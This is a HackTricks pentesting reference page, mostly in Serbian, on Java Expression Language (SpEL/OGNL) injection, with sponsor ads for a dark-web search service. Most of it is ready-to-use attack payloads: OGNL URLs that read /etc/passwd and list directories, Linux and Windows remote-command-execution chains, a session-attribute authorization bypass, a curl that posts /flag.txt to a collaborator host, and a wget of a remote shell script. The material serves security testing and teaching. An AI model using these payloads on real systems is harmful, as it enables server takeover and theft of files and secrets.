hacktricks/pentesting-web/ssti-server-side-template-injection/el-expression-language.md

# EL - Expression Language

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### [WhiteIntel](https://whiteintel.io)

<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti **kompromitovani** od strane **stealer malwares**.

Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizilaze iz malvera za krađu informacija.

Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:

{% embed url="https://whiteintel.io" %}

***

## Bsic Info

Expression Language (EL) je integralni deo JavaEE za povezivanje prezentacionog sloja (npr. veb stranice) i aplikacione logike (npr. managed beans), omogućavajući njihovu interakciju. Pretežno se koristi u:

* **JavaServer Faces (JSF)**: Za povezivanje UI komponenti sa backend podacima/akcijama.
* **JavaServer Pages (JSP)**: Za pristup i manipulaciju podacima unutar JSP stranica.
* **Contexts and Dependency Injection for Java EE (CDI)**: Za olakšavanje interakcije veb sloja sa managed beans.

**Konteksti korišćenja**:

* **Spring Framework**: Primena u raznim modulima kao što su Security i Data.
* **Opšta upotreba**: Kroz SpEL API od strane developera u JVM-baziranim jezicima kao što su Java, Kotlin i Scala.

EL je prisutan u JavaEE tehnologijama, samostalnim okruženjima, i prepoznaje se kroz `.jsp` ili `.jsf` ekstenzije datoteka, greške u steku i termine kao što su "Servlet" u zaglavljima. Međutim, njegove karakteristike i upotreba određenih karaktera mogu zavisiti od verzije.

{% hint style="info" %}
U zavisnosti od **EL verzije** neke **karakteristike** mogu biti **Uključene** ili **Isključene** i obično neki **karakteri** mogu biti **zabranjeni**.
{% endhint %}

## Basic Example

(Možete pronaći još jedan zanimljiv tutorijal o EL na [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/))

Preuzmite iz [**Maven**](https://mvnrepository.com) repozitorijuma jar datoteke:

* `commons-lang3-3.9.jar`
* `spring-core-5.2.1.RELEASE.jar`
* `commons-logging-1.2.jar`
* `spring-expression-5.2.1.RELEASE.jar`

I kreirajte sledeću `Main.java` datoteku:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
public static ExpressionParser PARSER;

public static void main(String[] args) throws Exception {
PARSER = new SpelExpressionParser();

System.out.println("Enter a String to evaluate:");
java.io.BufferedReader stdin = new java.io.BufferedReader(new java.io.InputStreamReader(System.in));
String input = stdin.readLine();
Expression exp = PARSER.parseExpression(input);
String result = exp.getValue().toString();
System.out.println(result);
}
}
```
Sledeće kompajlirajte kod (ako nemate `javac` instaliran, instalirajte `sudo apt install default-jdk`):
```java
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
```
Izvršite aplikaciju sa:
```java
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
Enter a String to evaluate:
{5*5}
[25]
```
Napomena kako je u prethodnom primeru termin `{5*5}` bio **evaluiran**.

## **CVE zasnovan tutorijal**

Proverite u **ovom postu:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)

## Payloads

### Osnovne akcije
```bash
#Basic string operations examples
{"a".toString()}
[a]

{"dfd".replace("d","x")}
[xfx]

#Access to the String class
{"".getClass()}
[class java.lang.String]

#Access ro the String class bypassing "getClass"
#{""["class"]}

#Access to arbitrary class
{"".getClass().forName("java.util.Date")}
[class java.util.Date]

#List methods of a class
{"".getClass().forName("java.util.Date").getMethods()[0].toString()}
[public boolean java.util.Date.equals(java.lang.Object)]
```
### Detection

* Burp detekcija
```bash
gk6q${"zkz".toString().replace("k", "x")}doap2
#The value returned was "igk6qzxzdoap2", indicating of the execution of the expression.
```
* J2EE otkrivanje
```bash
#J2EEScan Detection vector (substitute the content of the response body with the content of the "INJPARAM" parameter concatenated with a sum of integer):
https://www.example.url/?vulnerableParameter=PRE-${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}-POST&INJPARAM=HOOK_VAL
```
* Spavaj 10 sekundi
```bash
#Blind detection vector (sleep during 10 seconds)
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40java.lang.Thread%40sleep(10000)%2c1%3f%23xx%3a%23request.toString}
```
### Udaljeno uključivanje datoteka
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=new%20java.io.FileInputStream(%23wwww),%23qqqq=new%20java.lang.Long(%23wwww.length()),%23tttt=new%20byte[%23qqqq.intValue()],%23llll=%23pppp.read(%23tttt),%23pppp.close(),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(new+java.lang.String(%23tttt))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=%2fetc%2fpasswd
```
### Lista direktorijuma
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=new%20java.io.File(%23parameters.INJPARAM[0]),%23pppp=%23wwww.listFiles(),%23qqqq=@java.util.Arrays@toString(%23pppp),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23qqqq)%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=..
```
### RCE

* Osnovno **objašnjenje** RCE
```bash
#Check the method getRuntime is there
{"".getClass().forName("java.lang.Runtime").getMethods()[6].toString()}
[public static java.lang.Runtime java.lang.Runtime.getRuntime()]

#Execute command (you won't see the command output in the console)
{"".getClass().forName("java.lang.Runtime").getRuntime().exec("curl http://127.0.0.1:8000")}
[Process[pid=10892, exitValue=0]]

#Execute command bypassing "getClass"
#{""["class"].forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("curl <instance>.burpcollaborator.net")}

# With HTMl entities injection inside the template
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
```
* RCE **linux**
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="%2fbin%2fsh",%23ssss[1]="%2dc",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* RCE **Windows** (nije testirano)
```bash
https://www.example.url/?vulnerableParameter=${%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23wwww=@java.lang.Runtime@getRuntime(),%23ssss=new%20java.lang.String[3],%23ssss[0]="cmd",%23ssss[1]="%2fC",%23ssss[2]=%23parameters.INJPARAM[0],%23wwww.exec(%23ssss),%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.INJPARAM[0])%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString}&INJPARAM=touch%20/tmp/InjectedFile.txt
```
* **Više RCE**
```java
// Common RCE payloads
''.class.forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec(<COMMAND STRING/ARRAY>)
''.class.forName('java.lang.ProcessBuilder').getDeclaredConstructors()[1].newInstance(<COMMAND ARRAY/LIST>).start()

// Method using Runtime via getDeclaredConstructors
#{session.setAttribute("rtc","".getClass().forName("java.lang.Runtime").getDeclaredConstructors()[0])}
#{session.getAttribute("rtc").setAccessible(true)}
#{session.getAttribute("rtc").getRuntime().exec("/bin/bash -c whoami")}

// Method using processbuilder
${request.setAttribute("c","".getClass().forName("java.util.ArrayList").newInstance())}
${request.getAttribute("c").add("cmd.exe")}
${request.getAttribute("c").add("/k")}
${request.getAttribute("c").add("ping x.x.x.x")}
${request.setAttribute("a","".getClass().forName("java.lang.ProcessBuilder").getDeclaredConstructors()[0].newInstance(request.getAttribute("c")).start())}
${request.getAttribute("a")}

// Method using Reflection & Invoke
${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("calc.exe")}

// Method using ScriptEngineManager one-liner
${request.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec(\\\"ping x.x.x.x\\\")"))}

// Method using ScriptEngineManager
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
${facesContext.getExternalContext().setResponseHeader("output","".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval(\"var x=new java.lang.ProcessBuilder;x.command(\\\"wget\\\",\\\"http://x.x.x.x/1.sh\\\");

//https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt
(T(org.springframework.util.StreamUtils).copy(T(java.lang.Runtime).getRuntime().exec("cmd "+T(java.lang.String).valueOf(T(java.lang.Character).toChars(0x2F))+"c "+T(java.lang.String).valueOf(new char[]{T(java.lang.Character).toChars(100)[0],T(java.lang.Character).toChars(105)[0],T(java.lang.Character).toChars(114)[0]})).getInputStream(),T(org.springframework.web.context.request.RequestContextHolder).currentRequestAttributes().getResponse().getOutputStream()))
T(java.lang.System).getenv()[0]
T(java.lang.Runtime).getRuntime().exec('ping my-domain.com')
T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec("cmd /c dir").getInputStream())
''.class.forName('java.lang.Runtime').getRuntime().exec('calc.exe')
```
### Inspecting the environment

* `applicationScope` - globalne aplikacione promenljive
* `requestScope` - promenljive zahteva
* `initParam` - promenljive inicijalizacije aplikacije
* `sessionScope` - sesijske promenljive
* `param.X` - vrednost parametra gde je X naziv http parametra

You will need to cast this variables to String like:
```bash
${sessionScope.toString()}
```
#### Primer za zaobilaženje autorizacije
```bash
${pageContext.request.getSession().setAttribute("admin", true)}
```
Aplikacija takođe može koristiti prilagođene promenljive kao što su:
```bash
${user}
${password}
${employee.FirstName}
```
## WAF Bypass

Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/)

## References

* [https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/](https://techblog.mediaservice.net/2016/10/exploiting-ognl-injection/)
* [https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf](https://www.exploit-db.com/docs/english/46303-remote-code-execution-with-el-injection-vulnerabilities.pdf)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)

### [WhiteIntel](https://whiteintel.io)

<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>

[**WhiteIntel**](https://whiteintel.io) je **dark-web** pretraživač koji nudi **besplatne** funkcionalnosti za proveru da li je neka kompanija ili njeni klijenti bili **kompromitovani** od strane **stealer malwares**.

Njihov primarni cilj je da se bore protiv preuzimanja naloga i ransomware napada koji proizlaze iz malvera koji krade informacije.

Možete proveriti njihovu veb stranicu i isprobati njihov pretraživač **besplatno** na:

{% embed url="https://whiteintel.io" %}

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

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